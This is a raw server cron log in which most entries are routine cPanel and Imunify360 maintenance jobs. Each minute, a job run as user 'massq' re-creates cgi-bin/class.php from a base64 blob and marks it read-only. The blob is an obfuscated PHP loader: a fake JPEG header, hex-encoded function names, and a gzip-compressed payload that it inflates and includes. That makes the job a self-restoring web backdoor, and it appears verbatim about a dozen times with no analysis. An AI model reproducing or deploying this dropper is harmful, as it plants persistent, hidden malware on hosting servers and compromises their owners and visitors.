Sep 12 01:20:01 server CROND[1291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:20:01 server CROND[1290]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:20:01 server CROND[1294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:20:01 server CROND[1293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:20:01 server CROND[1292]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 01:20:01 server CROND[1301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:21:01 server CROND[2260]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:21:01 server CROND[2261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:21:01 server CROND[2262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:22:01 server CROND[2719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:22:01 server CROND[2720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:22:01 server CROND[2721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:23:01 server CROND[3099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:23:01 server CROND[3098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:23:01 server CROND[3100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:24:01 server CROND[3462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:24:01 server CROND[3463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:24:01 server CROND[3464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:25:01 server CROND[3837]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:25:01 server CROND[3838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:25:01 server CROND[3840]: (root) CMD (   /usr/bin/tmpwatch 168 /var/imunify360/tmp > /dev/null 2>&1 || :)
Sep 12 01:25:01 server CROND[3849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:25:01 server CROND[3861]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:25:01 server CROND[3864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:25:01 server CROND[3866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:25:01 server CROND[3862]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:26:01 server CROND[4749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:26:01 server CROND[4750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:26:01 server CROND[4751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:27:01 server CROND[5129]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 01:27:01 server CROND[5128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:27:01 server CROND[5130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:27:01 server CROND[5131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:28:01 server CROND[5506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:28:01 server CROND[5507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:28:01 server CROND[5509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:29:01 server CROND[5879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:29:01 server CROND[5880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:29:01 server CROND[5881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:30:01 server CROND[6262]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 01:30:01 server CROND[6263]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 01:30:01 server CROND[6264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 01:30:01 server CROND[6266]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:30:01 server CROND[6268]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:30:01 server CROND[6267]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 01:30:01 server CROND[6269]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 01:30:01 server CROND[6270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 01:31:01 server CROND[7180]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 01:31:01 server CROND[7181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 01:31:01 server CROND[7182]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
